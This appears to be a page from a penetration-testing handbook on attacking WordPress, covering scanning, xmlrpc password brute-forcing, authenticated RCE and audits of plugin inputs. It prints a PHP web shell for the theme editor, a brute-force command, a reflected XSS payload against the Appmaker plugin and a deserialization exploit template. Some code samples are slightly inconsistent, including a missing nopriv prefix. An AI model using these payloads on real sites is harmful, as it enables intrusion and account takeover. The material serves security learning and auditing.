WordPress

A popular Content Management System (CMS) for static content, with a visual UI

PHP

WPScan

The state-of-the-art security scanner for WordPress is wpscan, checking and enumerating many different vulnerabilities from plugins, backup files, and other WordPress-specific errors.

WordPerss security scanner

See the API Setup for instructions on how to use their API to get real-time updates of vulnerability data such as versions of plugins. This is highly recommended to make sure you find the newest CVEs.

The following command starts such a scan with extra options enabled and writes the output to a file:

wpscan --url http://$IP --enumerate p --plugins-detection aggressive -o wpscan.txt

The results of such a scan often reveal outdated plugins with vulnerabilities, and/or generic misconfigurations to exploit. Use a search engine here when unsure about exploiting a certain finding.

XML RPC Brute Force

One vulnerability that is infamous with WordPress is the /xmlrpc.php file being public. But what is the real risk you may ask? The main risk is the system.multicall() function that you can interact with to send multiple XML RPC requests simultaneously, and the server will process them all separately.

You can imagine that for a heavy request, this can amplify one request into a ton of load on the server, possibly resulting in a Denial of Service (DoS). Another idea is using the fact that you can send lots of request at the same time to bypass a rate limit, for password attempts, for example. There exists an RPC call to log in with a username and password to the administrator panel, and with this technique you can do so hundreds of times in one request, significantly speeding up the process (more details).

The following tool implements this idea by guessing many passwords from a wordlist:

xmlrpc-bruteforcer -u $USERNAME -w /list/rockyou.txt -x http://$IP/xmlrpc.php

Authenticated RCE

When authenticated as an admin, you can make any changes to the site. This also means you can edit the PHP code that is executed whenever a page is visited, allowing you to write code that executes shell commands.

You should be able to access Tools -> Theme File Editor to edit the current theme:

$BASE_URL/wp-admin/theme-editor.php

Then, select any .php file you think will be executed when you visit a page. By default, there is a functions.php file that every other file includes, so it will always be run. Edit such a file to include any PHP code you want to execute:

<?php
system($_GET["cmd"]);

After saving, you should be able to access the page to run the code:

$BASE_URL/?cmd=id

If this does not work for any reason, alternatives include the Tools -> Plugin File Editor with any plugin, then activate it at Plugins -> Installed Plugins to trigger the code:

<?php
system("id > /tmp/pwned");

As a last option, you can always upload your own malicious plugin like this: https://github.com/wetw0rk/malicious-wordpress-plugin

Custom Plugins

WordPress can be extended by installing plugins, either through the store or manually by adding them to the wp-content/plugins/ folder. Custom plugins may contain security vulnerabilities and are a very common source of WordPress issues that WPScan also searches for.

Inputs

Plugins can add several new inputs to an application that may be vulnerable to all kinds of attacks. Important to know when auditing them is knowing how you can call them.

Starting with actions, these can be registered with add_action() and their name must be prefixed with wp_ajax to be accessible via the web ajax endpoint. By default, these actions require authentication of any (low-privilege) user. Registering them is done by passing a "callable" as the second argument, which may be a function name that PHP calls. See the following example:

Authenticated Action
add_action("wp_ajax_get_flag", "get_flag_request_callback");

function get_flag_request_callback() {
    $value = file_get_contents('/flag.txt');
    wp_send_json_success(["value" => $value]);  // Send a JSON response
}

Another more interesting action for hackers is an unauthenticated one. With the nopriv prefix, this automatically allows any request without authentication to run the callback function:

Unauthenticated Action
add_action("wp_ajax__reset_key", "reset_password_key_callback");

function reset_password_key_callback() {
    $user_id = $_POST["user_id"];  // Also takes regular input
    ...

Anyone can call such an API with the /wp-admin/admin-ajax.php endpoint, which requires a ?action= parameter set to the name after the prefix, for example:

POST /wp-admin/admin-ajax.php?action=reset_key HTTP/1.1
Host: localhost:1337
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

user_id=2

Another type of input adding routes to the REST API at /wp-json. These are often registered at the rest_api_init action and use the register_rest_route() function to give a namespace and endpoint to request. The callback function will run when a request passes the permission check:

REST API Registration
add_action("rest_api_init", "register_user_creation_endpoint");

function register_user_creation_endpoint() {
    register_rest_route("user/v1", "/create", [
        "methods" => "POST",
        "callback" => "create_user_via_api",
        "permission_callback" => "__return_true", // Allow anyone to access this endpoint
    ]);
}

function create_user_via_api($request) {
    $parameters = $request->get_json_params();  // Has more custom functions like JSON input
    $username = sanitize_text_field($parameters["username"]);
    ...

Any unauthenticated user can request this endpoint because the permission_callback always returns true. A request like the following would be parsed by the callback function:

POST /wp-json/user/v1/create HTTP/1.1
Host: challenge.nahamcon.com:31587
Content-Type: application/json
Content-Length: 23

{"username": "example"}

Exploitation

Because any user can access authenticated actions, plugin developers should check the roles of the current user to prevent unauthorized access. The following example shows how both an administrator and subscriber may run this code:

Role Authorization check
$user = wp_get_current_user();
$allowed_roles = ["administrator", "subscriber"];

if (array_intersect($allowed_roles, $user->roles)) {
    ...
}

Another interesting piece of code to look at is wp-login.php from WordPress itself. The ?action= parameter is used in a switch statement to execute various different pieces of logic involving user accounts:

wp-login.php
switch ( $action ) {
	case 'confirm_admin_email':
	case 'confirm_admin_email':
	case 'postpass':
	case 'logout':
	case 'lostpassword':
	case 'retrievepassword':
	case 'resetpass':
	case 'rp':
	case 'register':
	case 'checkemail':
	case 'confirmaction':
	case 'login':
}

In one vulnerability, the password reset token was generated in an insecure way, which allowed you to run the resetpass action on wp-login.php to choose a new password for the user. If you check the source code that handles this action you can see that it handles the key and login parameters for the reset key and username respectively:

GET /wp-login.php?action=resetpass&key=$USER_ACTIVATION_KEY&login=admin HTTP/1.1
Host: localhost:1337

Common Pitfalls

Some easy mistakes to make when writing custom WordPress plugins. This ranges from unintuitive behaviour to some previous CVEs in other plugins.

is_admin() as privilege check

Functions like current_user_can should be used to check the permissions of the currently logged-in user. A developer who doesn't fully read the documentation may encounter the is_admin() function that sounds like it should check if the current user is an administrator. However, this is not the case! It instead checks if the current path is to an administrator page. Any user can make a request to /wp-admin/, the /wp-admin/admin-ajax.php handler for example triggers this too.

Below is a list of all default permissions per role for reference:

  1. Super Admin

    • Complete Control of Multi-Site Networks

  2. Admin

    • Change Themes

    • Add and Remove Widgets from Sidebar

    • Activate and Deactivate Plugins

    • Add and Remove Other Users

    • Change Roles of Other Users

  3. Editor

    • Edit, Delete, or Approve Comments

    • Add, Edit or Delete Tags

    • Add, Edit, or Delete Categories

    • Add and Remove Links

    • Edit or Delete Published Posts by Any User

    • Write Own Pages

    • Edit or Delete Published Pages by Any User

    • Edit or Delete Media Files

  4. Author

    • Upload Media Files

  5. Contributor

    • View Comments

    • Write Own Posts

    • Edit Own Posts

  6. Subscriber

    • Edit Own Profile

A Reflected XSS vulnerability was reported in Appmaker <= 1.36.12 (details). One of its files looks like this, with a vulnerability in the hook_payment_footer() method:

class-appmaker-wc-general-hooks.php
class APPMAKER_WC_General_hooks {
    public function __construct() {
        ...
        if ( ! empty( $_GET['payment_from_app'] ) ) {
            add_action( 'wp_head', array( $this, 'hook_stripe_enable_headers' ) );
            add_action( 'wp_footer', array( $this, 'hook_payment_footer' ) );
        }
    }
    ...
    public function hook_payment_footer() {
        $gateway = isset( $_GET['payment_gateway'] ) ? $_GET['payment_gateway'] : '';
        $output  = '
                <script type="text/javascript">
                window.onload = function() { 
                    setTimeout(function(){
                ';
        if ( ! empty( $gateway ) ) {
            $output .= "\n\t\t" . 'document.getElementById("payment_method_' . $gateway . '").checked = true;';
            $output .= "\n\t\t" . 'document.getElementById("payment_method_' . $gateway . '").click();';
        }
        
new APPMAKER_WC_General_hooks();

The ?payment_gateway= parameter is placed directly into the DOM here. It is easily abused by closing the script tag, and then opening a new one with malicious JavaScript. This works from any page as the footer is always loaded.

plugin.php
class APPMAKER_WC {
    ...
        public static function init() {
		...
                // Unconditionally loads this class
		require_once dirname( __FILE__ ) . '/lib/class-appmaker-wc-general-hooks.php';


add_action( 'plugins_loaded', array( 'APPMAKER_WC', 'init' ) );
Payload
/?payment_from_app=1&payment_gateway=</script><img%20src%20onerror=alert(origin)>

Insecure Deserialization in Social Media Share Buttons

The social-media-builder plugin is no longer available for download due to a "Security Issue". It turns out that this is an authenticated Insecure Deserialization vulnerability. When calling the import_buttons action, the following code is triggered:

class SGMBButton
{
	public $id;
	public $title;
	public $options = array();

	public function init()
	{
            ...
            //! This can be accessed from any authenticated user
            add_action('wp_ajax_import_buttons', array($this,'importButtons'));
	}
    
...

public function importButtons()
{
    global $wpdb;
    $url = $_POST['attachmentUrl'];
    $contents = unserialize(file_get_contents($url));
    foreach ($contents as $content) {
        $title = $content->title;
        $options = $content->options;
        $sql = $wpdb->prepare("INSERT INTO ".$wpdb->prefix.'sgmb_widget'."(title, options) VALUES (%s, %s)", $title, $options);
        $res = $wpdb->query($sql);
        echo 'MainRes: '.$res;
    }
}

A URL inside ?attachmentUrl= is fetched and unserialized. If the server allows it, you can use a data: URI with base64 to return arbitrary content to be deserialized. A JavaScript snippet that triggers this is below:

Exploit
const payload = `INSERT_DESERIALIZATION_EXPLOIT_HERE`;

fetch("/wp-admin/admin-ajax.php?action=import_buttons", {
  method: "POST",
  headers: {
    "Content-Type": "application/x-www-form-urlencoded",
  },
  body: "attachmentUrl=data://text/plain;base64," + btoa(payload),
});

Replace INSERT_DESERIALIZATION_EXPLOIT_HERE with a PHP deserialization gadget chain that may require other outdated libraries or custom code.

Last updated